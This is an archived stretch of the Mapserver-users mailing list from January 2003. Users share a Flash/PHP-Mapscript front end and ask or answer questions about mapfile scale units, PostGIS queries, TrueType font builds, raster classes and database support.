Date: Thu, 16 Jan 2003 14:55:09 -0500
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB3C@s5-van1-r1.ess.nrcan.gc.ca>
Hey there.
Well it's time I stopped simply leaching from this users-group and add my
contribution. I've built a simple flash interface around MapServer 3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is a
link to a zip file containing all of the relevant code. Feel free to use
anything you want. I couldn't have been here without the help and knowledge
gleamed from this users group. I would appreciate any bug reports, feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
From daniel.berstein at dmapas.com Thu Jan 16 12:34:18 2003
From: daniel.berstein at dmapas.com (daniel.berstein at dmapas.com)
Date: Thu, 16 Jan 2003 17:34:18 -0300
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID: <01C2BD85.802602F0.daniel.berstein@dmapas.com>
Well done. The UI is simple, fast, aesthetic... thank you for sharing.
PS: I bet you work for a mining company.
Regards,
Daniel Berstein Z.
Jefe de Proyectos, dmapas.com
Eduardo Hyatt 583, Providencia, Santiago CHILE
*(56) (2) 222 22 60
-----Mensaje original-----
De: Grant, Ryan [SMTP:rgrant at nrcan.gc.ca]
Enviado el: Jueves, 16 de Enero de 2003 16:55
Para: Mapserver Users (E-mail)
Asunto: [Mapserver-users] Flash Interface to mapserver
Hey there.
Well it's time I stopped simply leaching from this users-group and add my
contribution. I've built a simple flash interface around MapServer 3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is a
link to a zip file containing all of the relevant code. Feel free to use
anything you want. I couldn't have been here without the help and knowledge
gleamed from this users group. I would appreciate any bug reports, feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From bwragg at tpg.com.au Thu Jan 16 13:06:50 2003
From: bwragg at tpg.com.au (Benjamin Wragg)
Date: Fri, 17 Jan 2003 07:36:50 +1030
Subject: [Mapserver-users] Complex querying PostGIS Layer
Message-ID: <000e01c2bda3$3096bfe0$0100a8c0@mapping12>
This is a multi-part message in MIME format.
------=_NextPart_000_000F_01C2BDFB.332503E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi guys,
=20
I need to perform a complex query on a PostGIS layer in PHP MapScript
and I=92m a little unsure which part should handle the query PostGIS or
MapScript. The query logical is shown below:
=20
Select all the polygons in layerX that are intersected by featureA in
layerZ=20
where layerX=92s type field equals =93ROAD=94
=20
LayerX at the moment is always a polygon but in the future may become a
line or point. layerZ could be either point, line polygon but featureA
will only every be one feature.
=20
In PostGIS I believe you can send both the spatial query and the
attribute query in one SQL statement using a WHERE clause. Correct?=20
=20
With MapScript how would the query work? Would I basically need to run
two queries, the spatial part and then the attribute part (or vise vera)
=20
Thanks,
=20
Benjamin Wragg
=20
=20
=20
=20
------=_NextPart_000_000F_01C2BDFB.332503E0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi
guys,
I
need to perform a complex query on a PostGIS layer in PHP MapScript and =
I’m
a little unsure which part should handle the query PostGIS or MapScript. =
The
query logical is shown below:
Select
all the polygons in layerX that are intersected by featureA in layerZ =
where
layerX’s type field equals “ROAD”
LayerX
at the moment is always a polygon but in the future may become a line or =
point.
layerZ could be either point, line polygon but featureA will only every =
be one feature.
In
PostGIS I believe you can send both the spatial query and the attribute =
query in
one SQL statement using a WHERE clause. Correct?
With MapScript
how would the query work? Would I basically need to run two queries, the
spatial part and then the attribute part (or vise =
vera)
Thanks,
Benjamin
Wragg
------=_NextPart_000_000F_01C2BDFB.332503E0--
From lfilak at medinaco.org Thu Jan 16 13:12:03 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Thu, 16 Jan 2003 16:12:03 -0500
Subject: [Mapserver-users] mapfile mapscale strangeness
Message-ID: <200301162108.h0GL8kR15524@yogi.medinaco.net>
I can't seem to reproduce it here.
Same version of MS (3.6.3) with older version of RH (7.1).
Possibly posting the relevant code may help.
Lowell F.
The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800.
>
> I'm seeing a strange problem with application of the MINSCALE and
> MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl
> mapscript. I'm am working on getting an existing application that
> works under an old version of the mapserver working on this new
> version, on a new machine.
>
> So this is my new problem - I have layers that are only supposed to
> turn on at a 'larger scale' - more zoomed in - things like street
> names and secondary streets and stuff like that, that were turning
> on when my scale was much smaller. I'd have something like
> MAXSCALE 40000 in the layer, but when I'd create a map that is
> zoomed out far enough that I could see complete states, I would
> still have the MAXSCALE 40000 layers displayed.
>
> So after some testing and lots of debug print statements, I
> found that mapscript, as I compiled it, thinks the SCALE is
> usually somewhere between 1 and 5. I adjusted some of my MAXSCALE
> lines to these sorts of values, and things work the way I expect
> them to.
>
> So to summarize - I would expect the scale of the maps I create to
> be in ranges like 10000-25000, 250000 and so on, but they seem to
> be smaller numbers like 0.5, 3, so on. Has anyone else seen
> something like this? Did I blow some configuration option?
>
> dana
>
> --
>
> Dana Quinn, dana at nextbus.com
> NextBus Information Systems
> (510) 420-3117
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From morissette at dmsolutions.ca Thu Jan 16 13:23:12 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 16 Jan 2003 16:23:12 -0500
Subject: [Mapserver-users] mapfile mapscale strangeness
References: <200301162108.h0GL8kR15524@yogi.medinaco.net>
Message-ID: <3E2722C0.F1591B61@dmsolutions.ca>
I would suggest that you check the UNITS setting at the top-level in
your mapfile. It may be set to meters when it should be DD (degrees) or
the reverse. UNITS must represent the units in which your EXTENT is
expressed.
Daniel
Lowell Filak wrote:
>
> I can't seem to reproduce it here.
> Same version of MS (3.6.3) with older version of RH (7.1).
> Possibly posting the relevant code may help.
> Lowell F.
>
> The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800.
>
> >
> > I'm seeing a strange problem with application of the MINSCALE and
> > MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl
> > mapscript. I'm am working on getting an existing application that
> > works under an old version of the mapserver working on this new
> > version, on a new machine.
> >
> > So this is my new problem - I have layers that are only supposed to
> > turn on at a 'larger scale' - more zoomed in - things like street
> > names and secondary streets and stuff like that, that were turning
> > on when my scale was much smaller. I'd have something like
> > MAXSCALE 40000 in the layer, but when I'd create a map that is
> > zoomed out far enough that I could see complete states, I would
> > still have the MAXSCALE 40000 layers displayed.
> >
> > So after some testing and lots of debug print statements, I
> > found that mapscript, as I compiled it, thinks the SCALE is
> > usually somewhere between 1 and 5. I adjusted some of my MAXSCALE
> > lines to these sorts of values, and things work the way I expect
> > them to.
> >
> > So to summarize - I would expect the scale of the maps I create to
> > be in ranges like 10000-25000, 250000 and so on, but they seem to
> > be smaller numbers like 0.5, 3, so on. Has anyone else seen
> > something like this? Did I blow some configuration option?
> >
> > dana
> >
> > --
> >
> > Dana Quinn, dana at nextbus.com
> > NextBus Information Systems
> > (510) 420-3117
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From tbartlett at dddd.com.au Thu Jan 16 13:42:19 2003
From: tbartlett at dddd.com.au (Thomas Bartlett)
Date: Fri, 17 Jan 2003 08:42:19 +1100
Subject: [Mapserver-users] Classifying Rasters
Message-ID: <002c01c2bda8$25a87e70$1701a8c0@dddd.com.au>
This is a multi-part message in MIME format.
------=_NextPart_000_0029_01C2BE04.587B7DF0
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
G'Day All,
I'm trying to classify a TIFF image in order to apply specific colors to =
specific pixel values. I have tried the map file structure suggested in =
the RASTER Howto document on the website but the image doesn't change. =
Is there something fundamental I am missing ??
I am currently using the one of the MapServ 3.6 WIN binarys, without =
GDAL Raster Support, do I need this to classify a TIFF image ??=20
Regards
Thomas Bartlett
-------------------------------------------------------------------------=
---------------------------------
GIS Technician
Digital (Digest) Data Design Pty Ltd=20
Military GIS Professionals and Consultants=20
http://www.dddd.com.au/=20
Telephone: 02 6286 9555=20
Facsimile: 02 6286 9888=20
Postal : PO Box 683 MAWSON ACT 2607
------=_NextPart_000_0029_01C2BE04.587B7DF0
Content-Type: text/html;
charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
G'Day All,
I'm trying to classify a TIFF image in order to =
apply specific=20
colors to specific pixel values. I have tried the map file =
structure=20
suggested in the RASTER Howto document on the website but the image =
doesn't=20
change. Is there something fundamental I am missing =
??
I am currently using the one of the MapServ =
3.6 WIN=20
binarys, without GDAL Raster Support, do I need this to classify a TIFF =
image=20
??
Regards
Thomas=20
Bartlett -------------------------------------------------------------=
--------------------------------------------- GIS=20
Technician Digital (Digest) Data Design Pty Ltd Military GIS=20
Professionals and Consultants http://www.dddd.com.au/ =
Telephone: 02=20
6286 9555 Facsimile: 02 6286 9888 Postal : PO Box 683 =
MAWSON =20
ACT 2607
------=_NextPart_000_0029_01C2BE04.587B7DF0--
From dana at nextbus.com Thu Jan 16 14:21:24 2003
From: dana at nextbus.com (Dana Quinn)
Date: Thu, 16 Jan 2003 14:21:24 -0800
Subject: [Mapserver-users] mapfile mapscale strangeness
References: <200301162108.h0GL8kR15524@yogi.medinaco.net> <3E2722C0.F1591B61@dmsolutions.ca>
Message-ID: <3E273064.6010501@nextbus.com>
Bingo. That seems to have been it. Thank you both
for your help! The units setting before was meters.
dana
Daniel Morissette wrote:
> I would suggest that you check the UNITS setting at the top-level in
> your mapfile. It may be set to meters when it should be DD (degrees) or
> the reverse. UNITS must represent the units in which your EXTENT is
> expressed.
>
> Daniel
>
> Lowell Filak wrote:
>
>>I can't seem to reproduce it here.
>>Same version of MS (3.6.3) with older version of RH (7.1).
>>Possibly posting the relevant code may help.
>>Lowell F.
>>
>>The following message was sent by Dana Quinn on Wed, 15 Jan 2003 17:48:54 -0800.
>>
>>
>>>I'm seeing a strange problem with application of the MINSCALE and
>>>MAXSCALE parameters. I'm using 3.6.3, redhat linux 8, and perl
>>>mapscript. I'm am working on getting an existing application that
>>>works under an old version of the mapserver working on this new
>>>version, on a new machine.
>>>
>>>So this is my new problem - I have layers that are only supposed to
>>>turn on at a 'larger scale' - more zoomed in - things like street
>>>names and secondary streets and stuff like that, that were turning
>>>on when my scale was much smaller. I'd have something like
>>>MAXSCALE 40000 in the layer, but when I'd create a map that is
>>>zoomed out far enough that I could see complete states, I would
>>>still have the MAXSCALE 40000 layers displayed.
>>>
>>>So after some testing and lots of debug print statements, I
>>>found that mapscript, as I compiled it, thinks the SCALE is
>>>usually somewhere between 1 and 5. I adjusted some of my MAXSCALE
>>>lines to these sorts of values, and things work the way I expect
>>>them to.
>>>
>>>So to summarize - I would expect the scale of the maps I create to
>>>be in ranges like 10000-25000, 250000 and so on, but they seem to
>>>be smaller numbers like 0.5, 3, so on. Has anyone else seen
>>>something like this? Did I blow some configuration option?
>>>
>>>dana
>>>
>>>--
>>>
>>>Dana Quinn, dana at nextbus.com
>>>NextBus Information Systems
>>>(510) 420-3117
>>>
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>
--
Dana Quinn, dana at nextbus.com
NextBus Information Systems
(510) 420-3117
From robert at wotzhere.com Thu Jan 16 14:37:58 2003
From: robert at wotzhere.com (Robert Crossley)
Date: Fri, 17 Jan 2003 09:37:58 +1100
Subject: [Mapserver-users] Flash Interface to mapserver
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168184BB3C@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID:
Well done,
Works fine on Opera on Windows 2000, except for the info tool.
I am going to start on getting a flash version of an application going on php as soon as I have set up the linux servers, and this will be a great start.
Flash definately offers the most opportunity to develop an interactive client side application that I have seen.
I was going to suggest getting an open source project going for flash similar to rosa. I would be happy to provide any improvements that are generic
as I go along. I am only just starting in both php and actionscript, but should be able to contribute something before too long. Perhaps later we
can get a central repository for it?
R
Robert Crossley
Neo Software
9 Short St
New Brighton 2483
Far Southern Queensland
AUSTRALIA
P: 02 6680 1309
F: New Connection
M: 0419 718 642
E: robert at wotzhere.com
From steve.lime at dnr.state.mn.us Thu Jan 16 14:53:21 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 16 Jan 2003 16:53:21 -0600
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID:
Don't want to lose this. How 'bout adding/starting a flash section on
the wiki?
>>> "Grant, Ryan" 01/16/03 01:55PM >>>
Hey there.
Well it's time I stopped simply leaching from this users-group and add
my
contribution. I've built a simple flash interface around MapServer
3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is
a
link to a zip file containing all of the relevant code. Feel free to
use
anything you want. I couldn't have been here without the help and
knowledge
gleamed from this users group. I would appreciate any bug reports,
feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on
a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From mccrone at pc.jaring.my Thu Jan 16 15:20:45 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Fri, 17 Jan 2003 07:20:45 +0800
Subject: [Mapserver-users] Testsuite - itemquery with Rosa on the same page
Message-ID: <001f01c2bdb5$e661bb10$7663063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_001C_01C2BDF8.F377F7E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery zoom in problem. I added the =
following to the=20
main page index.html -=20
=20
It still cannot get two images on my template page usign something like =
-=20
Has anybody implemented this query zoom in fucntion from within the =
template page
and with rosa applet involved?
Thanks,
Steve
------=_NextPart_000_001C_01C2BDF8.F377F7E0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I have partially solved my itemquery =
zoom in=20
problem. I added the following to the
Has anybody implemented this query zoom =
in fucntion=20
from within the template page
and with rosa applet =
involved?
Thanks,
Steve
------=_NextPart_000_001C_01C2BDF8.F377F7E0--
From nacional at cbs.umn.edu Mon Jan 13 13:13:29 2003
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Mon, 13 Jan 2003 15:13:29 -0600 (CST)
Subject: [Mapserver-users] TrueType Font and Label Angle
In-Reply-To:
Message-ID:
Larry,
Did you try compiling GD and MapServer with the same freetype version?
I usually compile mine with version 1.3.1 and everything works just fine.
Here's what I do to compile Freetype 1.3.1 with MapServer:
./configure --enable-force-freetype1 --with-gd=static,../gd-1.8.4 ...
Then I edit the resulting Makefile and make sure that the GD line
contains "-DUSE_GD_TTF", and NOT "-DUSE_GD_FT".
As for GD, I compile my own version and link it statically to MapServer.
I just make sure to edit GD's Makefile and use -DHAVE_LIBTTF (and -lttf)
instead of -DHAVE_LIBFREETYPE (and -lfreetype).
I don't know if all these have anything to do with labels getting screwed
up but I've never had issues with Truetype fonts this way.
By the way, I use Gentoo Linux and Lycoris Desktop/LX. I don't have
Redhat 8 but I know my Lycoris binaries work properly on it (having used
it for a workshop at JPL).
Good luck!
-Perry N.
On Mon, 13 Jan 2003, Ellenbecker, Larry wrote:
> List,
>
> I'm trying to get true type fonts working with my application on Linux. The
> application is up a running on both Linux and NT. True type fonts are
> working just fine on NT, but on Linux I've had the following problems. My
> application is straight CGI.
>
> System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9
> and mapserver-3.6.1.
>
> After compiling and installing both freetype fonts and GD,
> I compiled mapsever and got the msGetLabelSize(): Could not find/open font.
> Initaially my application was sitting at:
>
> /var/www/html/simple with simple.map FONSET
> fonts/fonts.txt
>
> When I moved my fonts directory to /var/www/html/fonts and
> changed simple.map FONSET ../fonts/fonts.txt I was able to use true type
> font arial in my application. I then ran into the next issue with Label
> Angle. I couldn't get the labels to follow the appropriate line orientation
> as it does on my NT version. I researched the list and found Jonathan
> Lowe's "line layer label angle changes(solved)" . I've tried to follow
> these directions but am still unable to get the labels to plot with the
> correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND
> BACKGROUNDCOLOR create a background box oriented in the appropriate
> position but the text doesn't hit the background box.
>
> Has anyone got a sure fire method for resolving truetype
> label angle problems - I'd sure appreciate any assistance.
>
> Larry L. Ellenbecker
> GIS Systems Analyst
> Winnebago County
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From jean-charles.garin at gouv.nc Tue Jan 14 13:49:51 2003
From: jean-charles.garin at gouv.nc (jean-charles.garin at gouv.nc)
Date: Wed, 15 Jan 2003 08:49:51 +1100
Subject: [mapserver-users] SUM : Supported Databases and programmation language
Message-ID:
Message en plusieurs parties au format MIME
--=_alternative 0077EBB44B256CAE_=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I sum the answers i received on that topic :=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Jean-Guilhem Cailton a r=E9pondu :
* des fichiers dbf associ=E9s =E0 des fichiers Shape ESRI, et PostGIS dans =
la=20
cat=E9gorie "open source"
* le param=E9trage du logiciel Mapserver par fichier "map" est tr=E8s riche=
et=20
flexible et offre de nombreuses possibilit=E9s de construction de cartes et=
=20
d'interrogation de base de donn=E9es, en mode cgi via un serveur http
* pour l'entr=E9e ou la mise =E0 jour de donn=E9es : des langages de script=
=20
comme PHP, Perl, Python, Tcl/Tk, Javascript ou autres comme Java sont=20
utilisables
Paul Ramsey wrote :
* PostgreSQL/PostGIS is a supported spatial database backend for postgis=20
(http://postgis.refractions.net). You could do something using PHP=20
(www.php.net) as the scripting language, which can independantly connect=20
to PostgreSQL (www.postgresql.org)
Matt wrote :
I do updating in the dbf, I have a key in each dbf and I update based on=20
that key using PHP. Most of our shape files have been generated in an=20
ESRI product and we have not encountered any transition problems to date.=20
Since you are new to MapServer (as I was recently) you may want to look at =
the MapLab project. It is a PHP administration tool for MapServer which=20
allows you some ignorance of the details of the map file. If I were to=20
start all over again, I probably would go there. It requires that you=20
have PHP installed on your server (www.php.net). PHP is open-source and th=
erefore free. MapLab can be found at http://www.dmsolutions.ca/maplab. Th=
ese all can implemented on either windows or unix.=20
=20
MapServer has a CGI interface, so clients can be written in any web=20
language. It is possible to create a pure HTML solution, however it will=20
be limited. More commonly JavaScript will be used to create a better=20
dynamic environment. A Java Applet (Rosa) is also available, which could=20
be the fast way to decent environment. MapLab will let you pick what your =
target environment is.
=20
Dave Lowther wrote :
Here is an example of how we do this:
www.geo.ou.edu/ncdemo.htm
There are many other features that are only available to subscribers of=20
the
service.
=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Thanks to all for your precious help.
Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Nouvelle-Cal=E9donie
----- R=E9achemin=E9 par Jean-Charles GARIN/DEVELOPPEMENT SIG/BIG/ST/DITTT =
le=20
15/01/03 08:28 -----
jcgarin.dittt at gouv.nc
Envoy=E9 par : owner-mapserver-users at lists.gis.umn.edu
15/11/02 17:41
=20
Pour : mapserver-users at lists.gis.umn.edu
cc :=20
Objet : [mapserver-users] Supported Databases
Hye,=20
I am new in MAPSERVER knowledge and making research on the "free"=20
possibilities of developping a web application for public information and=20
documents requests on cadastral information. Our data is on ARCGIS - ESRI=20
but we would like not to buy more licence to do this extra website.=20
I am looking for a list of the supported databases for updating and=20
reading purposes with MAPSERVER.=20
Is dbf completly supported ? others common database ?=20
=20
In wich language do it has to be programmed ?=20
Thanks for your help.=20
Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Gouvernement=20
Nouvelle-Cal=E9donie
--=_alternative 0077EBB44B256CAE_=
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I sum the answers i received on that=
topic :
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Jean-Guilhem Cailton a r=E9pondu :
* des fichiers dbf associ=E9s =E0 des fic=
hiers Shape ESRI, et PostGIS dans la cat=E9gorie "open source"
* le param=E9trage du logiciel Mapserver =
par fichier "map" est tr=E8s riche et flexible et offre de nombre=
uses possibilit=E9s de construction de cartes et d'interrogation de base de=
donn=E9es, en mode cgi via un serveur http
* pour l'entr=E9e ou la mise =E0 jour de =
donn=E9es : des langages de script comme PHP, Perl, Python, Tcl/Tk, Javascr=
ipt ou autres comme Java sont utilisables
Paul Ramsey wrote :
* PostgreSQL/PostGIS is a supported spatial database backend for postgis =
(http://postgis.refractions.net). You could do something using PHP
(www.php.net) as the scripting language, which can independantly connect
to PostgreSQL (www.postgresql.org)
Matt wrote :
I do updating in the dbf, I have a key in=
each dbf and I update based on that key using PHP. Most of our shape=
files have been generated in an ESRI product and we have not encountered a=
ny transition problems to date. Since you are new to MapServer (as I =
was recently) you may want to look at the MapLab project. It is a PHP=
administration tool for MapServer which allows you some ignorance of the d=
etails of the map file. If I were to start all over again, I probably=
would go there. It requires that you have PHP installed on your serv=
er (www.php.net). &n=
bsp;PHP is open-source and therefore free. MapLab can be found at http://www.dmsolutions.ca/maplab. These all can implemented on either windows or =
unix.
MapServer has a CGI interface, so clients=
can be written in any web language. It is possible to create a pure =
HTML solution, however it will be limited. More commonly JavaScript w=
ill be used to create a better dynamic environment. A Java Applet (Ro=
sa) is also available, which could be the fast way to decent environment. &=
nbsp;MapLab will let you pick what your target environment is.
Dave Lowther wrote :
Here is an example of how we do thi=
s:
www.geo.ou.edu/ncdemo.htm
There are many other features that are only available to subscribers of the=
service.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
Thanks to all for your precious help=
.
Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Nouvelle-Cal=E9donie
----- R=E9achemin=E9=
par Jean-Charles GARIN/DEVELOPPEMENT SIG/BIG/ST/DITTT le 15/01/03 08:28 --=
---
jcgarin.dittt at gouv.nc Envoy=E9 par : owner-mapserver-users=
@lists.gis.umn.edu
15/11/02 17:41
Pour : &=
nbsp; mapserver-users at lists.gis.umn.edu
cc : &nb=
sp;
Objet : =
[mapserver-users] Supported Databases
Hye,
I am new in MAPSERVER knowledge and making research on the "free"=
possibilities of developping a web application for public information and =
documents requests on cadastral information. Our data is on ARCGIS - ESRI b=
ut we would like not to buy more licence to do this extra website.
I am looking for a list of the supported databases for updating and reading=
purposes with MAPSERVER.
Is dbf completly supported ? others common database ?
In wich language do it has to be programmed ?
Thanks for your help.
Jean-charles GARIN
Bureau de l'Information G=E9ographique
DITTT
Gouvernement
Nouvelle-Cal=E9donie
--=_alternative 0077EBB44B256CAE_=--
From Mike Tue Jan 14 22:22:55 2003
From: Mike (Mike)
Date: Wed, 15 Jan 2003 07:22:55 +0100
Subject: [Mapserver-users] HTML-Legends ???
Message-ID: <006d01c2bc5e$8a738750$111b550a@nt.halle.de>
This is a multi-part message in MIME format.
------=_NextPart_000_006A_01C2BC66.EC14D6F0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hi mapservers,
i'm working with mapserver 3.5 with win-binaries on win2000-prof an iis.
i can't use the html-legends. i have insert the line: TEMPLATE =
"legend.html" in the map-file in the legend-part,
but i get following error-message: loadLegend(): Unknown identifier. =
(TEMPLATE):(60)=20
hm. ???=20
greetings mikeE.
::: mike.elstermann at itc-halle.de ::: http://www.itc-halle.de ::: =
GeoDaten Online? -> http://www.itcgis.de
------=_NextPart_000_006A_01C2BC66.EC14D6F0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
hi mapservers,
i'm working with mapserver 3.5 with =
win-binaries on=20
win2000-prof an iis.
i can't use the html-legends. i have =
insert the=20
line: TEMPLATE "legend.html" in the map-file in the=20
legend-part,
but i get following error-message: =
loadLegend(): Unknown identifier. =
(TEMPLATE):(60)=20
------=_NextPart_000_006A_01C2BC66.EC14D6F0--
From vincenzo.patruno at istat.it Wed Jan 15 08:49:22 2003
From: vincenzo.patruno at istat.it (Vincenzo Patruno)
Date: Wed, 15 Jan 2003 16:49:22 -0000
Subject: [Mapserver-users] Maplab beginner problem
Message-ID: <022801c2bcb6$0e53fc10$492d120a@istat.it>
Hi anyone!
Probably my problem is stupid, but I cannot sleep because of it!!
I'm building up a mapfile using Esri shapefiles that normally you can find in the folder "esridata" after you install
Arcview.
The problem is when I ask for the preview of my mapfile.
In fact, the map is completely blank. I've tried to change the coordinate according to the coordinate of the upper left corner and
bottom right corner that I obtain opening my shapefile with Arcexplorer but ... nothing.
Any suggestion?
Thanks in advance
V
From brclark at usgs.gov Wed Jan 15 18:06:53 2003
From: brclark at usgs.gov (Brian Clark)
Date: Wed, 15 Jan 2003 20:06:53 -0600
Subject: [Mapserver-users] wms client
Message-ID: <3E2613BD.20903@usgs.gov>
Hey Mapservers,
We've built and installed libwww 5.4.0. However, configure returns:
"libwww version 5.3.2 or more recent is required"
Tried it with: --with-wmsclient=/usr/local/lib, and no errors on
configure or make,
but also no wmsclient support.
OS is Solaris 2.6.
Ideas?
AdTHANKSvance
--
****************************************************************
Brian R. Clark, Hydrologist Email: brclark at usgs.gov
U.S. Geological Survey, WRD Phone: (501)228-3655
Arkansas District Fax: (501)228-3601
401 Hardin Road
Little Rock, Arkansas 72211
****************************************************************
From shpr at libero.it Thu Jan 16 04:07:27 2003
From: shpr at libero.it (Stefano Bonnin)
Date: Thu, 16 Jan 2003 13:07:27 +0100
Subject: [Mapserver-users] problem with gdal
Message-ID: <034701c2bd57$de4407c0$0601a8c0@comai.loc>
hi, I have compiled mapserver with gdal-1.1.8
and all the "point object" in my point layer are "black"!
In the map file I have a layer class like this:
CLASS
NAME "Ultrasonico"
EXPRESSION 'Ultrasonico'
SYMBOL "circle"
COLOR 0 255 0 ###### This is not black!!!!
SIZE 15
TEMPLATE "blank.html"
LABEL
FONT "arial"
TYPE TRUETYPE
POSITION lc
MINSIZE 10
MAXSIZE 25
COLOR 100 0 45
BACKGROUNDSHADOWCOLOR 128 128 128
ANTIALIAS true
END
END
and all the points are rendered as black point.
Why? Any idea?
Thanks.
Stefano B.
---
Outgoing mail is certified Virus Free. (FLASHH!)
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/03
From rgrant at nrcan.gc.ca Thu Jan 16 15:32:42 2003
From: rgrant at nrcan.gc.ca (Grant, Ryan)
Date: Thu, 16 Jan 2003 18:32:42 -0500
Subject: [Mapserver-users] Flash Interface to mapserver
Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB46@s5-van1-r1.ess.nrcan.gc.ca>
Sounds great to me! After talking with Paul Ramsey I've started working a
Flash version to work with the CGI implementation. I'll post it once I get
anywhere with it..
Ryan
-----Original Message-----
From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
Sent: Thursday, January 16, 2003 2:53 PM
To: Mapserver-users at lists.gis.umn.edu; rgrant at nrcan.gc.ca
Subject: Re: [Mapserver-users] Flash Interface to mapserver
Don't want to lose this. How 'bout adding/starting a flash section on
the wiki?
>>> "Grant, Ryan" 01/16/03 01:55PM >>>
Hey there.
Well it's time I stopped simply leaching from this users-group and add
my
contribution. I've built a simple flash interface around MapServer
3.6.3.
The backend functionality is provided by PHP-Mapscript. On the page is
a
link to a zip file containing all of the relevant code. Feel free to
use
anything you want. I couldn't have been here without the help and
knowledge
gleamed from this users group. I would appreciate any bug reports,
feedback,
suggestions, etc. I've tested on IE6, Netscape7, and lightly tested on
a Mac
and so far all is well.
http://132.156.108.209/FlashMap/FlashMapServer.html
Cheers!
Ryan
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From morissette at dmsolutions.ca Thu Jan 16 15:33:00 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 16 Jan 2003 18:33:00 -0500
Subject: [Mapserver-users] PHP 4.3.0
References:
Message-ID: <3E27412C.1EC78C4E@dmsolutions.ca>
"pkishor_98 " wrote:
>
> I am getting a bunch of errors compiling ms3.6.4 (all related to
> php_mapscript.so), and before I get any further, I would like to find
> out if the current PHP/Mapscript module work with PHP 4.3.0. Does it?
>
Yes it does work with PHP 4.3.0. I haven't used it myself yet, but
Assefa has built it with PHP 4.3.0 and I haven't heard of anything
special. This windows DLL for PHP 4.3.0 is on our download site.
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From morissette at dmsolutions.ca Thu Jan 16 16:02:25 2003
